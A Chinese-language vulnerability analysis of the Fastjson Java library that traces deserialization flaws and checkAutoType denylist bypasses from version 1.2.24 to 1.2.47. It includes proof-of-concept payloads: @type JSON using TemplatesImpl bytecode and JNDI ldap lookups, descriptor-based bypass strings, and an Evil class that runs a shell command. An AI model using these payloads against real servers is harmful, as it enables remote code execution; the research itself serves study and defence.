Cursory Analysis Of Fastjson

FastJson是一个由阿里巴巴开发的高性能Java语言JSON处理库。它以快速高效著称,在解析和序列化JSON数据时速度优势明显,能够快速处理大量JSON数据。其API简单易用,通过简单的方法如JSON.toJSONString()和JSON.parseObject()等就能轻松实现Java对象和JSON字符串之间的相互转换。它支持多种Java数据类型,包括基本类型、包装类型、数组、集合和自定义对象,对于复杂嵌套结构也能很好地处理,并且它有灵活的配置选项,可定制序列化和反序列化行为。

前言

在攻防实战或漏洞挖掘期间,会经常遇见使用了该组件的系统,针对不同版本、不同环境的利用思路会有些不同,本文简单总结了FastJSON各版本的漏洞分析及利用情况。

基本概况

Object2JSON

将类序列化为JSON数据最常用的方法为JSON#toJSONString ,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个。

  1. 序列化特性(SerializerFeature):com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到FastjsonConfig中全局使用,也可以在使用具体方法中指定特性
  2. 序列化过滤器(SerializeFilter):com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化
  3. 序列化时的配置(SerializeConfig):com.alibaba.fastjson.serializer.SerializeConfig ,可以添加特点类型自定义的序列化配置

JSON2Object

将JSON数据反序列化时常用的方法为JSON#parse、JSON#parseObject、JSON#parseArray,这三个方法也均包含若干重载方法,带有不同参数:

  1. 反序列化特性(Feature):com.alibaba.fastjson.parser.Feature
  2. 类的类型(Type):java.lang.reflect.Type,用来执行反序列化类的类型
  3. 处理泛型反序列化(TypeReference):com.alibaba.fastjson.TypeReference
  4. 编程扩展定制反序列化(ParseProcess):com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor用于处理多余的字段,ExtraTypeProvider用于处理多余字段时提供类型信息

parse&parseObject

在FastJson中,parse方法和parseObject方法都可以用来将JSON字符串反序列化成Java对象,parseObject方法相较于parse方法只是做了一层封装,判断返回的对象是否为JSONObject实例并强转为JSONObject类。

所以进行反序列化时的细节区别在于,parse方法会识别并调用目标类的setter方法及某些特定条件的getter方法(返回值类型继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong的getter方法),而parseObject方法由于多执行了JSON.toJSON(obj),所以在处理过程中parseObject方法会调用反序列化目标类的所有setter和getter方法

1
2
3
4
5
6
7
8
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}

return (JSONObject) JSON.toJSON(obj);
}

使用JSON.parse(jsonString)/JSON.parseObject(jsonString)方法和JSON.parseObject(jsonString, Target.class)方法时,两者调用链一致。

  • 前者会在jsonString中解析字符串获取@type指定的类

  • 后者则会直接使用参数中的class

getter&setter

Fastjson在创建类实例时,会通过反射调用类中符合条件的getter/setter方法。

其中getter方法需满足如下要求:方法名长于4、不是静态方法、以get开头且第4位是大写字母、方法不能有参数传入、继承自Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有setter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for (Method method : clazz.getMethods()) { // getter methods
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
...

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}
}
}

setter方法需满足如下条件:方法名长于4,以set开头且第4位是大写字母、非静态方法、返回类型为void或当前类、参数个数为1个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
for (Method method : methods) {
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

// support builder set
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}

...

if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}

...

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null));
}

parse突破特殊getter调用限制

$ref

$ref是fastjson里的引用,用于引用之前出现的对象。由于调用getter方法时存在限制的,对于一般的不满足条件的getter方法,当fastjson >= 1.2.36时,可以使用$ref的方式来调用任意的getter

语法 描述
{“$ref”:”$”} 根对象
{“$ref”:”@”} 当前对象,即自引用
{“$ref”:”..”} 父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.children.0“} 基于路径的引用,相当于 root.getChildren().get(0)

在示例代码中,利用parse来反序列化数据时并没有触发Ref类中的getter方法,但是利用$ref来引用之前出现的对象后,成功触发了指定的getName方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class RefDemo {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

Ref ref = new Ref();
ref.setId("H3rmesk1t");
ref.setName("AlphaG0");
System.out.println("Object to JSON...");
System.out.println(JSON.toJSONString(ref, SerializerFeature.WriteClassName));

String json = "{\"@type\":\"org.example.fastjson.Ref\",\"id\":\"H3rmesk1t\",\"name\":\"AlphaG0\"}";
System.out.println("JSON to Obejct With parse...");
JSON.parse(json);
System.out.println("JSON to Obejct With parseObject...");
JSON.parseObject(json);

String jsonRef = "[{\"@type\":\"org.example.fastjson.Ref\",\"id\":\"H3rmesk1t\",\"name\":\"AlphaG0\"},{\"$ref\":\"$[0].name\"}]";
System.out.println("JSON to Obejct With parse and ref...");
JSON.parse(jsonRef);
}
}


class Ref {
private String name;
private String id;

public String getId() {
System.out.println(id);
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
System.out.println(name);
return name;
}

public void setName(String name) {
this.name = name;
}
}

在com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask方法中,对JSON路径表达式进行处理,先尝试通过getObject方法获取refValue,获取不到的则会调用JSONPath解析函数,根据ref从value种获取对应的值。

JSONPath#eval方法最终会调用到JSONPath#getPropertyValue方法,会尝试调用fieldInfo的get函数或者用利用反射的方式调用getter。

至于为什么小于fastjson 1.2.36版本无法使用该Trick,差异主要在com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask方法。在1.2.36版本以下,要求refValue不为null,且必须为JSONObject类,而获取到的refValue为null,因此无法利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// fastjson 1.2.42
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}

// fastjson 1.2.31
Object refValue = ref.startsWith("$") ? getObject(ref) : task.context.object;
FieldDeserializer fieldDeser = task.fieldDeserializer;

if (fieldDeser != null) {
if (refValue != null
&& refValue.getClass() == JSONObject.class
&& fieldDeser.fieldInfo != null
&& !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

fieldDeser.setValue(object, refValue);
}

JSONObject

那当fastjson <= 1.2.36时,有没有什么方法可以调用任意getter方法呢?答案是肯定,可以利用JSONObject#toString来实现这个目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class JSONObjectDemo {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

Ref ref = new Ref();
ref.setId("H3rmesk1t");
ref.setName("AlphaG0");
System.out.println("Object to JSON...");
System.out.println(JSON.toJSONString(ref, SerializerFeature.WriteClassName));

String json = "{\"@type\":\"org.example.fastjson.Ref\",\"id\":\"H3rmesk1t\",\"name\":\"AlphaG0\"}";
System.out.println("JSON to Obejct With parse...");
JSON.parse(json);
System.out.println("JSON to Obejct With parseObject...");
JSON.parseObject(json);

String jsonRef = "{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\": {\n" +
" \"@type\":\"org.example.fastjson.Ref\",\n" +
" \"id\":\"H3rmesk1t\",\n" +
" \"name\":\"AlphaG0\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
System.out.println("JSON to Obejct With parse and ref...");
JSON.parse(jsonRef);

}
}

class JSONObject {
private String name;
private String id;

public String getId() {
System.out.println(id);
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
System.out.println(name);
return name;
}

public void setName(String name) {
this.name = name;
}
}

在com.alibaba.fastjson.JSON#toString方法中,会进行序列化操作,将Object转为String。

最终会调用到JavaBeanSerializer#write方法,会尝试调用fieldInfo的get函数或者用利用反射的方式调用getter。

那么如何触发com.alibaba.fastjson.JSON#toString方法呢,在反序列化过程中,需要找到一处可以使用JSONObject调用toString的地方。

DefaultJSONParser#parse方法在解析的过程中,如果遇到{会套一层JSONObject,因此需要将key构造成JSONObject,类似{{some}:x}。接着调用DefaultJSONParser#parseObject方法,此时key为JSONObject,调用toString方法时会触发com.alibaba.fastjson.JSON#toString方法。

大于fastjson 1.2.36版本中,com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法不会再调用toString函数,导致无法使用。

漏洞分析

JSON要转为JavaBean通常必须开启autoType,而autoType默认情况下是关闭状态,所以不能够在未开启的情况下去反序列化指定的类,JSON解析流程大致如下。

fastjson-1.2.24

fastjson <= 1.2.24,fastjson默认使用@type指定反序列化任意类,攻击者可以通过在Java常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的getter/setter方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。

TemplatesImpl

在之前的文章中,无论是JNDI注入,还是反序列化,只要涉及到不出网的场景,就常常会利用到TemplatesImpl来动态加载字节码。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实现了Serializable接口,因此它可以被序列化。

该类中存在一个成员属性_class,是一个Class类型的数组,数组里下标为_transletIndex的类会在getTransletInstance方法中使用newInstance方法进行实例化。

该类中的newTransformer方法会调用getTransletInstance方法,而该类中的getOutputProperties方法又会调用newTransformer方法。同时,getTransletInstance方法又是类成员变量_outputProperties的getter方法。

接着看看_class中的类是否可控,在defineTransletClasses方法中,当_bytecodes不为空时,会调用自定义的ClassLoader去加载_bytecodes,因此可以构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是构造的恶意类的类字节码,这个类的父类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,最终这个类会被加载并使用newInstance方法进行实例化。

为了满足漏洞点触发之前不报异常及退出,还需要满足_name不为null,_tfactory不为null。同时,由于Payload需要赋值的一些属性为private类型,需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField来让服务端从JSON中恢复private类型的属性。

除此之外,由于传入的_bytecodes为bytes类型,而Fastjson在解析的时候会对bytes类型进行Base64解码,因此需要将恶意类的字节码Base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {

public Evil() throws IOException{
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Poc24 {
public static void main(String[] args) {
String poc = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"yv6...Eg==\"],\n" +
" \"_name\": \"H3rmesk1t\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

JdbcRowSetImpl

在com.sun.rowset.JdbcRowSetImpl#connect方法中,当this.conn为null且dataSource不为null时,会调用javax.naming.InitialContext#lookup方法来触发JNDI注入,且参数为dataSource。

而com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法会调用connect方法,且满足上文提到的setter方法的要求。

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Poc24 {
public static void main(String[] args) {
String poc = "{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:1037/Evil\",\n" +
" \"autoCommit\": true\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

fastjson-1.2.25

1.2.25 <= fastjson <= 1.2.41,官方对之前的反序列化漏洞进行了修复,引入了checkAutoType安全机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,而打开AutoType之后,是基于内置黑名单来实现安全的,fastjson也提供了添加黑名单的接口。

在1.2.24版本会直接加载@type指向的类,而1.2.25版本增加了对类的检查,在com.alibaba.fastjson.parser.ParserConfig类中,对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport。

1
2
3
4
5
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
if (clazz != null) {...}
}

黑名单denyList包括:

1
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

添加反序列化白名单有3种方法:

  1. 使用代码进行添加,ParserConfig.getGlobalInstance().addAccept(“org.example.fastjson.poc”)
  2. 加上JVM启动参数,-Dfastjson.parser.autoTypeAccept=org.example.fastjson
  3. 在fastjson.properties中添加,fastjson.parser.autoTypeAccept=org.example.fastjson

跟进一下checkAutoType方法,如果开启了autoType,先判断类名是否在白名单中,如果在,使用TypeUtils#loadClass方法加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

跟进一下com.alibaba.fastjson.util.TypeUtils#loadClass方法,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的[、L、;字符,这也同时导致了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符会被处理掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
...
}
} else {
return null;
}
}

两种潜在的绕过方式如下:

  • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载

因此,漏洞利用思路为,开启autoType,在类名中以L开头和;结尾绕过黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Poc25 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\n" +
" \"@type\": \"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
" \"_bytecodes\": [\"yv6...Eg==\"],\n" +
" \"_name\": \"H3rmesk1t\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

fastjson-1.2.42

1.2.25 <= fastjson <= 1.2.42,在1.2.42版本中,Fastjson继续延续了黑白名单的检测模式,但是为了防止安全研究人员根据黑名单中的类进行反向研究,将黑名单类从白名单修改为使用HASH的方式进行对比。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

在com.alibaba.fastjson.parser.ParserConfig类中,作者将原本的明文黑名单转为使用了Hash的黑名单来防止安全人员对其研究。

在checkAutoType方法中加入判断,如果类的第一个字符是L且结尾是;,则使用substring进行去除。但是这存在一个致命的问题,由于在最后处理时是递归处理,只进行了一次判断并去除,可以利用双写来进行绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Poc25 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\n" +
" \"@type\": \"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\n" +
" \"_bytecodes\": [\"yv6...Eg==\"],\n" +
" \"_name\": \"H3rmesk1t\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

fastjson-1.2.43

1.2.25 <= fastjson <= 1.2.43,在1.2.43版本中,作者修复上一个版本中双写绕过的问题。

可以看到用来检查的checkAutoType方法添加了判断,如果类名连续出现了两个L将会抛出异常。

1
2
3
4
5
6
7
8
9
10
11
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

但是在TypeUtils#loadClass方法中,针对[也进行了处理和递归,利用[依旧可以进行黑名单的绕过,根据报错信息,按照格式解析要求构造Payload即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Poc43 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\n" +
" \"@type\": \"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\n" +
" \"_bytecodes\": [\"yv6...Eg==\"],\n" +
" \"_name\": \"H3rmesk1t\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {},\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

fastjson-1.2.44

1.2.25 <= fastjson <= 1.2.44,在此版本将[绕过也进行了修复,由字符串处理导致的黑名单绕过告一段落。

在checkAutoType方法中添加了新的判断,如果类名以[开始则直接抛出异常。

1
2
3
4
5
6
7
8
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

fastjson-1.2.45

1.2.25 <= fastjson <= 1.2.45,在此版本爆出了一个黑名单绕过。

该版本爆出的黑名单绕过为通过mybatis组件进行JNDI接口调用,在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties方法中,存在JNDI注入,进而可以加载恶意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Poc45 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\n" +
" \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\": {\n" +
" \"initial_context\": \"ldap://127.0.0.1:1389/Evil\",\n" +
" \"data_source\": \"1\"\n" +
" }\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

fastjson-1.2.47

1.2.25 <= fastjson <= 1.2.32(未开启AutoTypeSupport),1.2.33 <= fastjson <= 1.2.47,此版本Payload能够绕过checkAutoType内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测。

这次的绕过问题依旧还是出现在ParserConfig#checkAutoType方法中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 类名非空判断
if (typeName == null) {
return null;
}
// 类名长度判断,不大于128不小于3
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L; //;
final long PRIME = 0x100000001b3L; //L

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 类名以 [ 开头抛出异常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 类名以 L 开头以 ; 结尾抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 在对比 denyHashCodes 进行黑名单匹配
// 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
// 则抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

// 尝试在 deserializers 中查找这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
// 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

在checkAutoType方法的代码中可以发现存在一个逻辑问题,即autoTypeSupport为true时,fastjson也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且TypeUtils.mappings中没有该类的缓存时,才会抛出异常,就是这个逻辑导致了fastjson 1.2.32之前的版本将会受到autoTypeSupport的影响。

在autoTypeSupport为默认的false时,程序直接检查黑名单并抛出异常,这部分无法绕过。在这之前,程序会先在TypeUtils.mappings中和deserializers中尝试查找要反序列化的类,如果找到了,则就会return。因此,如果在mapping中缓存有待加载的恶意类,那么就可以绕过后autoTypeSupport为默认的false时的黑白名单检测。

跟进一下TypeUtils#getClassFromMapping方法,其从mapping中获取类名,能向mapping中赋值的方法有TypeUtils#addBaseClassMappings和TypeUtils#loadClass。

其中,TypeUtils#addBaseClassMappings方法为无参方法,并且没有可控的参数。转向TypeUtils#loadClass方法,这个方法上文也提到了,主要就是在加载类之前对类名做一些检查和判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 非空判断
if(className == null || className.length() == 0){
return null;
}
// 防止重复添加
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 判断 className 是否以 [ 开头
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
// 判断 className 是否 L 开头 ; 结尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
// 如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

在loadClass(String className, ClassLoader classLoader, boolean cache)方法中有三个地方能够向mapping写入恶意类,其被loadClass(String className, ClassLoader classLoader)方法调用,并且该方法中cache默认为true。

